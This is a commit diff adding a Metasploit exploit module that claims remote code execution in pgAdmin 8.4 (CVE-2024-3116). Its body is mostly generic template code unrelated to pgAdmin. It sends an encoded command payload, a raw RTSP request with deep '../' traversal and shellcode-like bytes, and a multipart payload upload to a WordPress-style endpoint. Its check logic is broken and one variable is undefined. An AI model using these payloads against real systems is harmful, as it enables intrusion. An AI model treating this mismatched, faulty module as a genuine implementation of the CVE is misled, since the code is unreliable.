Inital commit and Rubocop fixes

Author: igomeow

modules/exploits/windows/http/pgadmin_binary_path_api.rb

@@ -0,0 +1,161 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking 
+
+  #
+  # This exploit affects a webapp, so we need to import HTTP Client
+  # to easily interact with it.
+  #
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Remote::HttpClient
+
+ 
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'pgAdmin Binary Path API RCE',
+        'Description' => %q{
+          pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) 
+          vulnerability through the validate binary path API. This vulnerability 
+          allows attackers to execute arbitrary code on the server hosting PGAdmin, 
+          posing a severe risk to the database management system's integrity and the security of the underlying data. 
+
+          Tested on pgAdmin 8.4 on Windows 10.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'M.Selim Karahan', # metasploit module
+          'Ayoub Mokhtar' # vulnerability discovery and write up
+        ],
+        'References' => [
+          [ 'CVE', '2024-3116'],
+          [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
+          [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
+        ],
+        'Platform' => ['windows'],
+        'Arch' => ARCH_X64,
+        'Targets' => [
+          [ 'Automatic Target', {}]
+        ],
+        'DisclosureDate' => '2024-03-28',
+        'DefaultTarget' => 0,
+        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ],
+          'SideEffects' => [ REPEATABLE_SESSION, ]
+        }
+      )
+    )
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
+        OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
+        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
+      ]
+    )
+  end
+
+  #
+  # The sample exploit checks the index page to verify the version number is exploitable
+  # we use a regex for the version number
+  #
+  def check
+    # only catch the response if we're going to use it, in this case we do for the version
+    # detection.
+    res = send_request_cgi(
+      'uri' => normalize_uri(target_uri.path, 'index.php'),
+      'method' => 'GET'
+    )
+    # gracefully handle if res comes back as nil, since we're not guaranteed a response
+    # also handle if we get an unexpected HTTP response code
+    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
+    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
+
+    # here we're looking through html for the version string, similar to:
+    # Version 1.2
+    %r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body
+
+    if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
+      CheckCode::Appears("Version Detected: #{version}")
+    end
+
+    CheckCode::Safe
+  end
+
+  #
+  # The exploit method attempts a login, then attempts to throw a command execution
+  # at a web page through a POST variable
+  #
+  def exploit
+    # attempt a login. In this case we show basic auth, and a POST to a fake username/password
+    # simply to show how both are done
+    vprint_status('Attempting login')
+    # since we will check res to see if auth was a success, make sure to capture the return
+    res = send_request_cgi(
+      'uri' => normalize_uri(target_uri.path, 'login.php'),
+      'method' => 'POST',
+      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+      # automatically handle cookies with keep_cookies.  Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
+      'keep_cookies' => true,
+      'vars_post' => {
+        'username' => datastore['USERNAME'],
+        'password' => datastore['PASSWORD']
+      },
+      'vars_get' => {
+        'example' => 'example'
+      }
+    )
+
+    # a valid login will give us a 301 redirect to /home.html so check that.
+    # ALWAYS assume res could be nil and check it first!!!!!
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301
+
+    # we don't care what the response is, so don't bother saving it from send_request_cgi
+    # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
+    vprint_status('Attempting exploit')
+    send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'command.html'),
+      'method' => 'POST',
+      'vars_post' =>
+      {
+        'cmd_str' => payload.encoded
+      }
+    }, datastore['HttpClientTimeout'])
+
+    # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
+    send_request_raw({
+      'method' => 'DESCRIBE',
+      'proto' => 'RTSP',
+      'version' => '1.0',
+      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
+    }, datastore['HttpClientTimeout'])
+
+    # example of sending a MIME message
+    data = Rex::MIME::Message.new
+    # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
+    file_contents = payload.encoded
+    data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
+    data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
+
+    post_data = data.to_s
+
+    res = send_request_cgi(
+      'method'  => 'POST',
+      'uri'     => normalize_uri(target_uri.path, 'async-upload.php'),
+      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
+      'data'    => post_data,
+      'cookie'  => cookie
+    )
+  rescue ::Rex::ConnectionError
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+  end
+end